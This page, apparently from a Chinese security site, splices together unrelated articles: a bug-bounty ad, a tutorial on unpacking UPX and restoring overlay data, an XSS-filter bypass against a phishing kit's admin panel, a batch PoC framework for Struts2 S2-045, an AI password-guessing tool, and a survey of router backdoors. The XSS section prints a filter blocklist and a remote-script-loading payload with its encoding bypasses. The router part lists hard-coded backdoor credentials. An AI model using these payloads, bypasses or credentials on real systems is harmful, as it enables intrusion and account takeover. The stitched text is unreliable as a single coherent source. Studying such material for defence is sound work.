“ 挖洞好几年,

第一次知道线下众测还可以这么有趣  ”

大师傅看到活动公告时就惊呆了

146126302941842478.GIF

 “ 可是,我们不管差旅哦 ”

“ 30万奖金池,我可以挣回来呀 ”

res07_attpic_brief.jpg

“ 测试范围,活动现场才会公布 ”

“ 有意思 ”

4.PNG

“ 24小时,是要通宵挖洞的意思吗 ”

“ 对哒,审核会陪同 ”

IMG_7419.GIF

肤白貌美腰细腿长的小姐姐

会驻场

 u=3259563999,824892950&fm=26&gp=0.jpg

程序猿男友最爱のFilco键盘

听说跪起来很舒服哦

060828381f30e9246f5694554b086e061c95f7e0.jpg

 项目及奖励动态实时更新,

奖金3个工作日之内到账,

这是不是你要的效率?

事实上1.jpg

与其宅到发霉晒到变黑,

不如来现场跟着Dalao挖漏洞

这里的空调格外足,姿势特别多

IMG_7422.GIF

8月12日至13日

漏洞马拉松线下邀请赛·北京站

等你来战!

222.png

漏洞奖金高于行业标准

 333.png

荣誉证书&定制大F键盘,

还有额外现金奖励!

444.png


邀请函都准备好了,就差写你的名字了!

如果你在各大SRC以及其他平台提交过

2个及以上高危漏洞


点击此处填写报名信息

24小时之内会有漂亮小姐姐与你联系

就差你.jpg

最后感谢

联想SRC和VIPKID SRC

对本次活动的大力支持

111.png

8月12日

我在北京等你!

0062ZJxtzy6Sg3LQV2h61&690.png

☞报名地址传送门:http://vulbox168.mikecrm.com/FATocbx

一、介绍:
什么是附加数据(overlay)摘自Lenus大神

实际当中的overlay

其实,overlay虽然大家在脱壳当中觉得很陌生,但是他离我们并不遥远。在我们平时使用的软件当中,有一些软件要处理一些数据流文件,比如 winamp。当我们下载了mp3文件(数据文件),没有播放器是不可能播放的,与此相关的还有很多,比如txt文件和notepad的关系也差不多。而这些数据文件被单独的保存在硬盘上,当我们使用notepad的打开功能的时候,就可以去读取数据文件里面的东西了。

 

overlay又是什么意思呢?

他其实真正的意思就是取消打开功能,将这些需要读取的数据放到pe文件的后面,让程序自动的运行打开的功能。这样的功能就变成了一个notepad的程序对应只能打开一个文件。

 

最典型的就是一些软件可以把一些数据流文件生成exe文件,比如一些mp3生成器,flash生成器,以及我们用来做动画的S-demo。他们的作用就是将数据对pe进行捆绑。(这样做的结果也就是为什么我们对这些文件用UPX等pe压缩工具却不能压缩他的原因

在我们对pe文件的overlay进行分析,普及一下文件映射的知识。在pe里面,有所谓的文件偏移RA,文件偏移大小RS和与其对应的虚拟地址偏移VA,虚拟地址偏移大小VS。


我们要深刻的理解以上的概念不是我这篇文章能说清楚的,但又是搞overlay必须得弄清楚的,于是我简单的说明一下。
在我们的磁盘上的pe文件里面,排列着的数据在运行的时候将被影射到内存空间。他们将被怎么映射呢?举个例子:


例1:

一个pe文件中只有两个区段(pe head不算)
第一个区段是.text VA=401000 VS=1000RA=200 RS=100
第二个区段是.data VA=402000 VS=1000RA=300 RS=100
假设我们打开winhex看到在文件偏移300处的情况是这样的:
RA=2FF 处的数据是12RA=300处的数据是34

现在当pe文件装到内存中,那么会出现什么结果呢。
1.文件偏移中的200开始的100个字节将被影射到内存的401000开始的100个字节,后面的F000个字节将用0填充。
2.文件偏移中的300开始的100个字节将被影射到内存的402000开始的100个字节,后面的F000个字节将用0填充。

也就是说,在磁盘是上相邻的两个数据12和34,在内存空间中将分开得老远,12在40102FF处,而34却在402000处。

当然这只是我自己随便举的一个极端的例子,实际上由于文件的对齐机制在磁盘上每个段的结束都是填充了大量的0

为什么要讲这些

因为区段是一般将会被映射到内存的,如果上面的例子中。将.data区段去掉。那么在磁盘上就将会留下从RA=300到RA=400其大小为100的数据,不会被影射到内存中。而这部分数据就将被认为是附加数据-overlay。

 

二、实战【加壳方式】: UPX Inliner v1.0 by GPcH

【使用工具】: OllyDbg

              PEID

              Lord PE

              WinHex

              Imp Rec

              Hex Wrokshop v6.5.1

【声明】: 主要展现 脱壳 后附加数据的快速解决,没有其他目的。  

①、PEID看一下壳

1.png

②、DetectItEasy V1.0看一下什么编译器

2.png

然鹅,PE区段被改了,并看不出来

既然是UPX的壳,按照之前的文章步骤,脱壳吧

1、载入OD

2、

3.png

很明显是UPX的壳,ESP定律走起~~(单步跟踪、模拟跟踪都可以的)

 

3、F8单步往下走,F9运行程序,F8单步走,走,

4、

4.png

来到这,熟悉吧,右键分析-从模块中删除分析

 

5、

5.png

来到了熟悉的OEP,对照oep看一下是什么语言

 

6、

6.png

   Vc++ 6.0的编译器

 

7、到达oep之后,下一步来脱壳

8、

7.png

复制oep,3831,再用Lordpe脱壳

 

9、

8.png

修正镜像大小,在转存一下。

 

10、

9.png

再用  修复,不管能不能运行都得修复一下

 

11、修复完成后看一下壳子,打开程序运行一下

 

12、显示是vc++6.0,说明程序已经脱壳完成了

13、运行一下

11.png

14、OH!Shit!!

15、不出所料,因为刚开始就出现了这个东西

敲黑板!!!!

1、overlay只是数据它是不映射到内存的,它将被程序以打开自己的方式来读取数据

2、只要不是区段里面包括的文件的大小,将被视为overlay.

 

那怎么办呢,重点来了。。。。。。。。。。。。。

1、神器winhex

2、  这个东西

3、将未脱壳的程序放进去

4、

14.png

 

5、首先,把滑轮拖到最底部,依次往上找,找到第一处很多00的地方

6、

15.png

 

7、选择00结束第一个字符(alt+1)到末尾最后一个字符(alt+2)

8、

16.png

 

9、复制下来,关闭,拖入脱壳完成的文件

10、一直拉到最后,也是00很多的地方

11、


 

12、在末尾粘贴未脱壳程序的那段

13、

18.png

 

14、保存文件到脱壳后修复的文件

15、

19.png

 

16、有的在win7/xp情况下保存完成后可能会出错,版本不同

17、这是推荐使用Hex workshop ,使用方法与winhex一样,在吾爱破解工具包里都有

18、  运行试一下,无错误提示即可

使用lordpe,用PE编辑器打开加壳程序

20.png

依次打开区段,看到区段表

 

☆【重要属性介绍】

(1)Name : 这是一个8位的ASCII(不是Unicode内码),用来定义块名,多数块名以.开始(如.Text),这个.实际上不是必需的,注意如果块名超过了8个字节,则没有最后面的终止标志NULL字节,带有$的区块的名字会从编译器里将带有$的相同名字的区块被按字母顺序合并。

(2) VirtualSize: 指出实际的,被使用的区块大小,是区块在没有对齐处理前的实际大小.如果VirtualSize > SizeOfRawData,那么SizeOfRawData是可执行文件初始化数据的大小

(SizeOfRawData – VirtualSize)的字节用0来填充.这个字段在OBJ文件中被设为0.

(3)VirtualAddress: 该块时装载到内存中的RVA,注意这个地址是按内存页对齐的,她总是SectionAlignment的整数倍,在工具中第一个块默认RVA为1000,在OBJ中为0。

(4)SizeofRawData: 该块在磁盘中所占的大小,在可执行文件中,该字段包括经过FileAlignment调整后块的长度。例如FileAlignment的大小为200h, 如果VirtualSize中的块长度为19Ah个字节,这一块保存的长度为200h个字节.

(5) PointerToRawData: 该块是在磁盘文件中的偏移,程序编译或汇编后生成原始数据,这个字段用于给出原始数据块在文件的偏移,如果程序自装载PE或COFF文件(而不是由OS装载),这种情况,必须完全使用线性映像方法装入文件,需要在该块处找到块的数据。

21.png

虽然编译器自动产生一系列标准的区块,我们可以创建和命名自己的区块,在VC++中可以使用:

#pragma data_seg(“My_DATA”)

编译器有个很搞笑的特征,看见两个区块相似的属性的区块,那么连接时就合并成一个区块,这个取决于是否用/merge开关 /merge .rdata = .text

我们只需要ROffset和Rsize,计算一下这两个块的大小

400+C600=CA00      (16进制下)

我们把未脱壳的程序放入HexWorkshop,CTRL+G转到CA00处

22.png

23.png

l   C9 F6加上 10个字节

l   CA 04减去 4个字节

所到达的地方都是CA 00

就来到我们之前往上找到00末尾的位置

从A5开始,一直到最后复制下来

打开脱壳之后修复的文件,拖入HEXWORKSHOP

24.png

在最后末尾处,粘贴刚刚复制的代码

最后,保存一下,备份点一下,打开程序看一下能否正常运行。OK,数据处理完毕

最后看一下壳子

25.png

壳子已经脱掉,显示附加数据不用管,之后载入od,看一下oep

 

26.png

具体原理研究可以去寻找Lenus大神的《浅谈脱壳中的附加数据问题(overlay)》和《PE文件中区段的详细分析 》这两篇文章

 

总结:

1.简单介绍什么是附加数据

2.overlay又是什么意思

3.文件映射知识

4.回顾ESP定律

5.Winhex、HEXWORKSHOP使用方法

6.两种方法附加数据的处理

7.区段表小姿势

附件我打包了:点击查看

自己伪装成买家,花了150,从黑市买到这种钓鱼源码,开始进行研究

钓鱼站是这样的

 1.png

看他的源码,我们得知,有专门的一个脚本用来过滤我们的XSS 

过滤xss 脚本如下

[AppleScript] 纯文本查看 复制代码

<?PHP

function RemoveXSS($val) {

              //==========================//

            //                          //

            //随风 程序开发 QQ957223651 //

            //      此类用来防止XSS     //

            //==========================//

 

   $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);

   $search = 'abcdefghijklmnopqrstuvwxyz';

   $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';

   $search .= '1234567890[email protected]#$%^&*()';

   $search .= '~`";:?+/={}[]-_|\'\\';

   for ($i = 0; $i < strlen($search); $i++) {

      $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val);

      $val = preg_replace('/({0,8}'.ord($search[$i]).';?)/', $search[$i], $val);

   }

   $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');

   $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');

   $ra = array_merge($ra1, $ra2);

 

   $found = true;

   while ($found == true) {

      $val_before = $val;

      for ($i = 0; $i < sizeof($ra); $i++) {

         $pattern = '/';

         for ($j = 0; $j < strlen($ra[$i]); $j++) {

            if ($j > 0) {

               $pattern .= '(';

               $pattern .= '(&#[xX]0{0,8}([9ab]);)';

               $pattern .= '|';

               $pattern .= '|(&#{0,8}([9|10|13]);)';

               $pattern .= ')*';

            }

            $pattern .= $ra[$i][$j];

         }

         $pattern .= '/i';

         $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2);

         $val = preg_replace($pattern, $replacement, $val);

         if ($val_before == $val) {

            $found = false;

         }

      }

   }

   return $val;

}

 

?>

我们可以看到,能过滤的事件基本上都被对方过滤了

 

但是,像这种黑名单肯定都有不完善的地方没错

<details open=”" ontoggle=alert“>他没有过滤ontoggle事件并且也没过滤eval函数那么我们可以构造恶意代码、最常用的的写上

2.png

[AppleScript] 纯文本查看 复制代码

</Td> 是闭合标签,这里我们用了js8编码 \141\154\145\162\164\140\140 就是alert``  转换后的代码放入到对面查看试试 然后我们伪造成被钓鱼者,在钓鱼页面提交数据,把我们的payload插入到对方的 p12345变量中3.png

然后我们进入到后台查看,却没有弹窗,这是为什么呢?

对其->右击->使用firebug 查看元素 看看为什么不能弹窗

5.png

对比查看

完整的代码        [AppleScript] 纯文本查看 复制代码

过滤后的代码

[AppleScript] 纯文本查看 复制代码

把\ 过滤了 那么我们加两重绕过试试        [AppleScript] 纯文本查看 复制代码

这段代码插进去试试看

6.png

 进入后台

 

成功弹窗,现在我们可以尝试 引用自己站点的代码了 。。。。。。。。。。。。。。。 

源代码应该为

[AppleScript] 纯文本查看 复制代码

直接放上去是不行的,我们要对其编码,使用JS8编码

[AppleScript] 纯文本查看 复制代码

然后把\改成\\ 绕过对方的过滤规则

[AppleScript] 纯文本查看 复制代码

但是当我放上去的时候,并没有写到数据库,也就是说把 我这里的代码过滤了,到这里我百思不得其解,后来经过上百次测试,才知道,它限制的字符的长度,超过一定长度的字符,那么数据就不会被写入

那么只能不断的裁剪,不编码最终代码为

[AppleScript] 纯文本查看 复制代码

“ 是闭合掉前面的标签

<details open ontoggle=document.body.appendChild(document.createElement(“scr”+”ipt”)).src=”http://www.baidu.com”> 是引用我们XSS站点的代码,对方没有过滤doucmnet,只过滤了script

现在我们插入试试

依然没有成功执行,在继续看看对方的源码

71.png

将其复制出来,看看到底是什么原因

7.png

首先script标签被打乱了,并且多了个” 号,这很好绕过

前面我们看到过对方对JS8进制过滤不严格 可以对其JS8进制编码

我们再继续构造,把script转换成8进制,并且加上两个\\ 绕过对方过滤规则

[AppleScript] 纯文本查看 复制代码

把script转换成JS8进制编码

把所有的” 号换成’ 号

8.png
 

这样构造

结果后台没有存储任何数据

9.png

后来经过别人指点才知道,  默认输入’单引号会被过滤,我们只能在’单引号前面加上\

最终的代码就是

10.png

然后自己进入后台查看~

11.png

a1.png

工具简介

WebVulScan是一款Web应用程序漏洞扫描工具,而且它本身就是一款采用PHP开发的Web应用程序。该工具支持远程或本地使用,安全研究人员可以随时随地使用WebVulScan来扫描Web应用中的安全漏洞。

在漏洞扫描的过程中,WebVulScan会将扫描的详细信息实时传送给用户,并且信息会进行动态更新。这些详细信息包含扫描状态、爬取到的URL数量,已发现的漏洞数量、以及已发现的漏洞详情。

扫描完成之后,WebVulScan会给用户发送一份详细的PDF漏洞报告。报告中包含所有已发现漏洞的详细描述,缓解措施,以及每一个漏洞的利用方式。

a2.png

WebVulScan的功能如下:

- 爬虫:爬取目标网站,显示所有的URL地址;

- 扫描器:爬取目标网站,根据URL地址扫描漏洞;

- 扫描历史:允许用户查看或下载之前扫描任务的PDF漏洞报告;

- 注册:允许用户进行在线注册;

- 登录:允许用户进行在线登录;

- 基本配置:允许用户选择需要扫描的漏洞类型(默认扫描所有漏洞类型);

- PDF报告生成:动态生成详细的漏洞报告(PDF);

- 报告发送:将PDF漏洞报告以电子邮件附件的形式发送给用户;

WebVulScan支持检测的漏洞如下:

1. 反射型XSS漏洞;

2. 存储型XSS漏洞;

3. 标准SQL注入漏洞;

4. 使用SQL注入绕过身份验证机制;

5. 密码域自动填写;

6. 不安全的直接对象引用;

7. 目录枚举;

8. HTTP Banner泄露;

9. 不受信任的SSL证书;

10. 无效的重定向;

工具下载

WebVulScan最新版v0.12-【点我下载

WebVulScan-【GitHub主页

许可证协议

本项目遵循GNU GPL v3许可证协议。如有任何疑问请直接联系[email protected]

* 参考来源:webvulscan, FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

WannaCry事件逐渐淡出了人们的视线,但勒索软件类信息安全事件就像是IT人员(尤其是信息安全人员)头上的达摩克利斯之剑。

勒索软件.jpg

首先我们看一下勒索软件在技术上的变化:

入侵平台更加多样化,勒索软件能够入侵的平台更加多样,包括windows、mac、linux等计算机操作系统,还包括android、ios等移动操作系统。

加密算法更加复杂,勒索软件采用的数学算法更加复杂,使暴力破解基本成为不可能。

加密形式多样化,从对文件加密,到对不同大小的文件采取不同的加密策略,再到加密引导区等系统数据,加密的形式越来越多样化。例如petya即是加密MBR。

加密速度越来越快,由于采用的算法、加密的形式的改进,使得勒索软件可以在更短的时间内对数据进行加密,从而避开断电等简便的防护措施。

隐蔽性高,更多的勒索软件可以避开一些商业查杀软件,从而得以在系统中潜伏,伺机而动。

其他的变化还包括:学习资料的易获取性,从而使“脚本小子”也可以轻易的制作勒索软件;勒索软件制作工具的出现使得勒索软件成为一种付费服务,无须专业知识即可执行。

基于对以上勒索软件的发展趋势的分析,笔者提醒信息安全人员对触发式(“红色按钮”)的勒索加以注意,即入侵者利用防护软件无法识别勒索软件的前提,在系统中部署勒索软件,并设置启动条件。这种勒索较直接加密数据(系统)相比而言具有更大的潜伏性,一旦触发,其紧急性更高,因此破坏性更大。

  笔者提醒:做好针对勒索软件的日常防护,刻不容缓。

0×01前言

   当互联网爆出高危漏洞,或者团队内部挖到0day,无论甲方还是乙方都需要了解漏洞的影响面,这个时候就需要poc批量验证,包括网络安全爱好者对“批量”这个词一定不会陌生,我们今天就来聊聊“批量”那些事。目前,有很多优秀的poc批量验证工具,比如我之前的帖子(https://bbs.ichunqiu.com/thread-9519-1-1.html)发过pentestdb中也集成了这个功能,比较经典的还有pocsuite(http://www.pocsuite.org/),pocsuite、zoomeye、seebug一条龙服务可以说是业界良心,pocsuite需要按模板要求使用Pocsuite指定的函数,这样的优点在于可以在HTTP请求层面直接做控制,从而支持“全局代理”,“全局随机UA”等功能,同时保证了脚本的稳定性与规范性,对于不懂验证逻辑的客户或运维人员,直接运行脚本即可。但总感觉太重了,不够自由,比如输出的内容等,不能自由设置。那么有没有一款可以引入第三方库,不需要任何模板和继承。这样既能够扩展其功能,又能保证效率的最大化,不用每次写脚本都查文档格式,一个脚本一行命令,三五分钟即可完成任务的这样一个poc验证框架呢?这就是今天给大家推荐的POC-T。

 

0×02 简介及安装使用

批量验证要解决的三个关键点:

数据:数据怎么来?
处理:逻辑是什么?
并发:如何实现?

 

POC-T就是按照这样的思路设计的

1.png

2.png

安装也很简单,这里不占用篇幅

[AppleScript] 纯文本查看 复制代码

 

 3.jpg

0×021 数据怎么来

数据来源很丰富,也很贴心。包括单个目标(-iS)、文件导入(-iF)、搜索引擎接口,包括谷歌(-aG)、Zoomeye(-aZ)、撒旦(-aS),这些接口的key设置支持运行时手动输入,也支持预先设置,在根目录下的toolkit.conf中设置,谷歌还支持代理,以便扶墙,是不是很贴心,参数–limit来限制搜索数目。其他来源参考帮助。

4.jpg

 

0×022 处理逻辑是什么

逻辑验证也就是poc,在script已经有很多作者维护的poc脚本,可以利用参数–show来列出poc脚本名

5.jpg

 

加载用参数–s poc名

0×023 并发如何实现

并发的实现作者自己的框架,我们作为使用者不必太纠结原理,只要知道支持多线程(-eT)Gevent(-eG)两种并发模式就可以了。POC-T的效率非常之高,根据笔者测试,设置线程为30(默认10),测试2000+个目标不到3分钟就可以完成。

最后的命令格式大概是这样子

[AppleScript]

 

0×03 poc脚本编写
这也是本文重点关注的,为什么说POC-T很轻便呢,我认为就体现在poc脚本编写上,所有的验证只需要一个poc()函数就可以,成功就返回True或者自定义信息,失败就返回False,除此之外没有任何限制。没有实例,一切文章都是纸老虎。下面我们就以前段时间火爆的struts2-s045漏洞为例,详细说下poc的编写,在script目录下有个test.py就是poc脚本的一个demo,就在这个基础上编写我们的poc。

 6.jpg

网上爆出的验证代码为

[Python] 纯文本查看 复制代码


这段代码,大概意思就是执行了“echo nMask”,也就是说返回的body中如果有字符串nMask就意味着漏洞存在,否则不存在。那么我们的poc代码就可以这么写

[Python] 纯文本查看 复制代码


建议在脚本中处理Exception,如果线程运行中发现Exception,将使框架终止全部任务并打印错误信息。由于网络请求中经常出现连接中断等错误,一种简单的做法是:

[Python] 纯文本查看 复制代码

就是这么简单,在运行时框架的每个线程都会调用poc()这个函数,并把目标url复制给poc()函数。然后我们来看看效果,我导入一个目标文本(每行一个url)。

7.jpg

POC-T还提供了具有通用性的脚本扩展工具.用于简化代码,提高PoC准确性,赋予脚本更多功能.这些工具位于plugin目录下,编写脚本时,可以使用from plugin.xxx import xxx直接调用,具体功能请查看原文件注释

8.jpg

继续以刚才poc为例,现在我们不仅想知道一个url是否存在s2-045漏洞,还想知道特定端口是否开放,比如3389、22端口,这样可以为我们下一步测试提供方便。那来看看扩展工具里有没有我们想要的功能。

在util.py中有这样一个函数checkPortTcp()只要有IP地址就可以查看相应端口是否开放

 9.jpg

 

 

可传入的参数是url,不是IP地址怎么办,答案仍在util.py中,还有这样一个函数host2IP()可以把url转换为IP地址,真是要啥有啥。

10.jpg

我们的代码可以这样写

[Python] 纯文本查看 复制代码

 

 11.jpg
0×04 其他功能

  如果我们搞明白了批量需要解决的那三个关键问题,就会发现这个框架不仅可以用作poc批量验证,还可以用作它途,只要原理一样就可以。比如爆破、爬虫、采集等。作者也给出了相应实例

爆破:/script/ brute-example.py
爬虫&采集:/script/ spider-example.py
旁站扫描:/script/ bingc.py

0×05 结语
  
看完本文,以后再有漏洞时,还用到处问“哪里有批量工具吗?”,自己动手,丰衣足食。但正因为POC-T的轻便、灵活,更需要我们的编码能力,因为所有的逻辑验证及输出都需要通过自己编码实现而没有现成的格式规范。
其他优秀的poc批量验证工具:

Pocsuite: https://github.com/knownsec/Pocsuite
Pentestdb: https://github.com/alpha1e0/pentestdb
s0m3poc: https://github.com/s0m30ne/s0m3poc

盗取登陆密码

今天给大家介绍的是Github上一个名叫PyMLProjects的项目,这个项目的目的是为了训练AI来学习人类构造密码的模式,然后我们就可以用AI来生成大量同一模式或种类的密码了。这种方法也许可以用来生成暴力破解攻击中需要使用的攻击字典,因为人们为了方便记忆,通常都会采用某种密码“模式”来设计自己的密码。

一些经验丰富的渗透测试人员可能都知道,很多类似银行或政府之类的大型组织他们所使用的默认密码或重置密码都采用的是一种旧的密码方案。为了更加贴近实际情况地去评估目前这种问题的严重性,为了更好地模拟出攻击者所能做到的事情,这个项目将开发一个由自动化AI驱动的工具,并尝试模拟这样的密码攻击。

它将允许你将一个很小的密码样本转变成一个无限长度的密码。

项目主页

PyMLProjects:【传送门

README.md:【传送门

短密码转换成长密码

如何使用

这个项目包括以下两个脚本:

1.  learn_passwords.py:该脚本可以用一套密码来训练神经网络,并生成权值;

2.  generate_passwords.py:该脚本可以根据训练集生成的权值来计算并生成密码;

训练神经网络

为了开发出一个能够基于样本生成密码的AI,最简单的方法就是给learn_passwords.py脚本提供密码列表,操作代码如下:

$>./learn_passwords.py

UsingTensorFlow backend.

Usage:./learn_passwords.py [password list]

$>./learn_passwords.pypasswords_random_medium.txt

UsingTensorFlow backend.

['\n',' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+',',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';','<', '=', '>', '?', '@', '[', '\\', ']', '^', '_', '`', 'a', 'b', 'c','d', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's','t', 'u', 'v', 'w', 'x', 'y', 'z', '{', '}', '~', '\x82', '\x84', '\x85','\x88', '\x91', '\x95', '\x96', '\xa0', '\xa1', '\xa3', '\xac', '\xb0', '\xb2','\xb4', '\xb6', '\xb8', '\xb9', '\xbc', '\xc2', '\xc3', '\xe0', '\xe1', '\xe2']

[*]Total Characters: 244242

[*]Total Vocab: 92

运行了上述代码之后,将生成一系列权值文件,我们之后将需要用这些权值文件来设置神经网络:

-rw-rw-r--1 k3170makan k3170makan 2463936 Jul 25 18:22seq-100-weights-improvement-44-2.0382.hdf5

-rw-rw-r--1 k3170makan k3170makan 2463936 Jul 25 18:24seq-100-weights-improvement-45-2.0002.hdf5

-rw-rw-r--1 k3170makan k3170makan 2463936 Jul 25 18:26seq-100-weights-improvement-46-1.9580.hdf5

-rw-rw-r--1 k3170makan k3170makan 2463936 Jul 25 18:28seq-100-weights-improvement-47-1.9290.hdf5

-rw-rw-r--1 k3170makan k3170makan 2463936 Jul 25 18:30 seq-100-weights-improvement-48-1.9157.hdf5

-rw-rw-r--1 k3170makan k3170makan 2463936 Jul 25 18:32seq-100-weights-improvement-49-1.8796.hdf5

生成密码

为了生成我们所需要的密码,我们需要运行generate_passwords.py脚本,操作代码如下所示:

$>./generate_passwords.py

Using TensorFlow backend.

Usage: ./generate_passwords.py [data file][weights filename]

$>./generate_passwords.pypasswords_1000.txt seq-100-weights-improvement-49-1.8796.hdf5

Using TensorFlow backend.

[*] Total Characters: 7784

[*] Total Vocab: 38

[*] Total Patterns: 7684

[*] Seed: tiful

mylove

angela

poohbear

patrick

iloveme

sakura

adrian

alexander

destiny

christian

121212

工具依赖组件

唯一需要的就是在你的计算机中安装Python环境。

Python:【传送门

Python Keras:【传送门

参考资料

* 参考来源:PyMLProjects, FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

路由器是家庭网络的入口,在IoT浪潮下,路由器也起到了网络守护者的角色。正因为如此,这几年针对路由器的攻击也越来越多,本文就带大家细数这些年针对路由器的攻击。

无线协议漏洞

早些年对路由器的攻击方式大多基于无线协议中的漏洞。早些年无线路由使用的是WEP加密系统,也就是“有线等效加密”,但是与很多存在问题的加密算法一样,WEP加密也是用了RC4的加密方式。2001年8月,Fluhrer等人发表了针对WEP的密码分析,利用RC4加解密和IV的使用方式的特性,结果在网络上偷听几个小时之后,就可以把RC4的钥匙破解出来。这个攻击方式很快就实作出来了,而自动化的工具也释出了,只要用个人电脑、现成的硬件和免费可得的软件就能进行这种攻击。因此WEP在2003年被实现大部分IEEE 802.11i标准的WPA(Wi-Fi Protected Access)淘汰。

WPA相比WEP提升了部分安全性,WPA 的设计中要用到一个 802.1X 认证服务器来散布不同的钥匙给各个用户;不过它也可以用在较不保险的 ”pre-shared key” (PSK) 模式。Wi-Fi 联盟把这个使用 pre-shared key 的版本叫做 WPA 个人版或 WPA2 个人版,用 802.1X 认证的版本叫做 WPA 企业版或 WPA2 企业版。

WPA 的数据会以一个 128 位元的钥匙和一个 48 位元的初向量 (IV) 的 RC4 stream cipher 来加密。WPA 超越 WEP 的主要改进就是在使用中可以动态改变钥匙的“临时钥匙完整性协定”(Temporal Key Integrity Protocol,TKIP),加上更长的初向量,这可以击败知名的针对 WEP 的金钥撷取攻击。

除了认证和加密外,WPA 对于数据的完整性也提供了巨大的改进。WEP 所使用的 CRC(循环冗余校验)先天就不安全,在不知道 WEP 钥匙的情况下,要篡改所载资料和对应的 CRC 是可能的,而 WPA 使用了称为 ”Michael” 的更安全的讯息认证码(在 WPA 中叫做讯息完整性查核,MIC)。

2004年,WPA由实现完整IEEE 802.11i标准的WPA2所取代。WPA2相比WPA比较重要的安全改进是使用了AES而非原来的RC4加密方式。

事实上,无论是WPA还是WPA2都有相应的破解方法,具体就是使用DEAUTH攻击使已经连接的客户端断开并重新连接,以产生握手包,之后再用字典进行破解,但是既然使用到了字典,成功率就相当不确定了。

142303572282.png!small.jpg

2011年12月28日,安全专家Stefan Viehbock曝出WPS(Wi-Fi保护设置)功能的一个重大安全漏洞,此漏洞允许远程攻击者使用暴力攻击在几小时内就能获取WPS的PIN码和WPA/WPA2的PSK码。pin码是一个8位的整数,破解过程时间比较短。WPS PIN码的第8位数是一个校验和,因此黑客只需计算前7位数。另外前7位中的前四位和后三位分开认证。所以破解pin码最多只需要1.1万次尝试,顺利的情况下在3小时左右。WPS认证流程如下图:

14230360418459.png

然而,现实情况是很多路由器会对穷举PIN进行限制,每次猜解的间隔时间会越来越长,因此小编之前做过多次尝试从未成功。

由于攻击方式的局限性,以上所述的漏洞大都已经成为历史,现如今对路由器的攻击大多转为针对特定路由器漏洞的攻击,并且从对无线协议弱点的攻击转向对路由器固件、Web界面的攻击。

针对路由器固件的攻击

14815162248143.png.jpg

近年来有不少针对路由器的攻击,很多知名厂商纷纷中招,并且往往连累的是一个系列的产品,这些路由器爆出的漏洞中很多是厂商因维护需要而开设的后门,有一些则是验证机制存在问题,被轻易绕过:

2016年10月,华硕路由器被P2P僵尸网络程序TheMoon感染。华硕旗下RT-AC66U、RT-N66U等多款路由器中使用的ASUS WRT的infosvr中的common.c文件中存在安全漏洞,该漏洞源于程序没有正确检查请求的MAC地址。远程攻击者可通过向UDP 9999端口发送NET_CMD_ID_MANU_CMD数据包利用该漏洞绕过身份验证,执行任意命令。

同月,D-Link DWR-932B LTE路由器中发现多个后门。研究人员发现了D-Link无线路由器会默认使用两个硬编码的秘密账户(admin:admin and root:1234)运行Telnet和SSH服务。攻击者可以轻松地用shell命令行接入这些脆弱的路由器,然后就可以进行中间人攻击,监控网络流量,运行恶意脚本更改路由器设置。而如果将字符串”HELODBG”作为硬编码命令发送到UDP端口39889就可以利用这个后门,就可以在不经过任何验证的情况下在路由器上启动一个root权限的Telnet。

2016年12月,Netgear多个型号路由器曝远程任意命令注入漏洞,攻击者只需要构造网站,在网址结尾加上命令,在未授权得情况下就能以Root权限执行任意命令。

今年2月,大量Netgear路由器被曝存在密码绕过漏洞。用户试图访问路由器的web控制界面时,需要进行身份验证;如果身份验证被取消,同时密码恢复功能被禁用了,用户就会被重定向到一个页面,而这个页面会暴露密码恢复的token。用户提供了这个token就能获取到路由器管理员密码。

今年4月,数十款Linksys路由器曝高危漏洞,可致远程命令执行及敏感信息泄露。攻击者就可以在路由器操作系统上以root权限注入执行命令。黑客可能会创建后门账号以长期控制路由器。后门账号不会在web管理界面显示,并且不能被管理员账号删除。

14771144383627.jpg

TheMoon僵尸程序的攻击流量

尽管以上提到的案例不多,但这些厂商在路由器市场占到了半壁江山,尤其是Netgear与Linksys,根据NPD Monthly的数据显示,NETGEAR与LINKSYS这两家美国老牌路由器厂商成为了该市场的第一与第二名,并且市场份额超过了60%。而来自亚太地区的D-LINK等厂商则分别领导美国市场的40%份额。

WiFi router share.png

